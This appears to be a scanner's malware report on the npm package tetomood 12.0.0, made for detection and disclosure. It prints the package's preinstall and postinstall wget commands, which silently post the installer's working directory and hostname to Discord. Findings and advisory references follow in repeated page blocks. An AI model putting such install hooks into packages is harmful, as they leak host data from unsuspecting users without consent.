Loading npm security reports…

tetomood: Malicious npm security report (Block) | LPM Firewall

registry / tetomood / 12.0.0

tetomood@12.0.0

AI Security Review

scanned 23d ago · by lpm-firewall-ai

Automatic npm lifecycle hooks transmit local host metadata to Discord. The transmissions occur before and after installation.

Static reason

One or more suspicious static signals were detected.

Trigger

Installing the package with npm lifecycle scripts enabled.

Impact

An external party receives installation-path and host-identification data without consent.

Mechanism

Lifecycle shell commands exfiltrate the working directory and hostname through wget POST requests.

Attack narrative

On installation, the preinstall hook posts the current directory to Discord. The postinstall hook then posts the hostname to the same external endpoint. Both commands are silent and automatic, so package consumers do not opt in to this host-fingerprinting data transfer.

AI rationale

This package uses automatic install hooks to exfiltrate local environment metadata to an external service. That is concrete unconsented install-time data collection.

Evidence

package.json

Network endpoints1

discord.com

OSV advisory

OpenSSF/OSV

Advisory

MAL-2026-16216

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in tetomood (npm)

Source & flagged code

6 flagged

package.jsonView file

•scripts.preinstall = wget --quiet --header=\"Content-Type: application/json\" --post-data=\"{\\\"content\\\": \\\"📂 Installation started from directory: $(pwd)\\\"}\" https://discord.com -O /dev/null

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

8"preinstall": "wget --quiet --header=\\\"Content-Type: application/json\\\" --post-data=\\\"{\\\\\\\"content\\\\\\\": \\\\\\\"📂 Installation started from directory: $(pwd)\\\\\\\"}\\\" https://discord.com -O /dev/null",

High

Suspicious Lifecycle Evidence

The preinstall hook sends the current installation directory to Discord without user interaction.

package.jsonView on unpkg · L8

9"postinstall": "wget --quiet --header=\\\"Content-Type: application/json\\\" --post-data=\\\"{\\\\\\\"content\\\\\\\": \\\\\\\"💻 Installed successfully on device: $(hostname)\\\\\\\"}\\\" https://discord.com -O /dev/null"

High

Suspicious Lifecycle Evidence

The postinstall hook sends the machine hostname to Discord after installation.

package.jsonView on unpkg · L9

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

•scripts.postinstall = wget --quiet --header=\"Content-Type: application/json\" --post-data=\"{\\\"content\\\": \\\"💻 Installed successfully on device: $(hostname)\\\"}\" https://discord.com -O /dev/null

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

package.json#scripts.preinstallView file

High

Manifest Script Host Fingerprint Callback

An npm script sends host identity through command substitution to a fixed external destination.

package.json#scripts.preinstallView on unpkg

Source & flagged code

6 flagged · loading source

package.jsonView file

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

High

Suspicious Lifecycle Evidence

The preinstall hook sends the current installation directory to Discord without user interaction.

package.jsonView on unpkg · L8

High

Suspicious Lifecycle Evidence

The postinstall hook sends the machine hostname to Discord after installation.

package.jsonView on unpkg · L9

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

package.json#scripts.preinstallView file

High

Manifest Script Host Fingerprint Callback

An npm script sends host identity through command substitution to a fixed external destination.

package.json#scripts.preinstallView on unpkg

Source & flagged code

6 flagged

package.jsonView file

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

High

Suspicious Lifecycle Evidence

The preinstall hook sends the current installation directory to Discord without user interaction.

package.jsonView on unpkg · L8

High

Suspicious Lifecycle Evidence

The postinstall hook sends the machine hostname to Discord after installation.

package.jsonView on unpkg · L9

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

package.json#scripts.preinstallView file

High

Manifest Script Host Fingerprint Callback

An npm script sends host identity through command substitution to a fixed external destination.

package.json#scripts.preinstallView on unpkg

tetomood@12.0.0

AI Security Review

OSV advisory

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Behavioral surface

Source & flagged code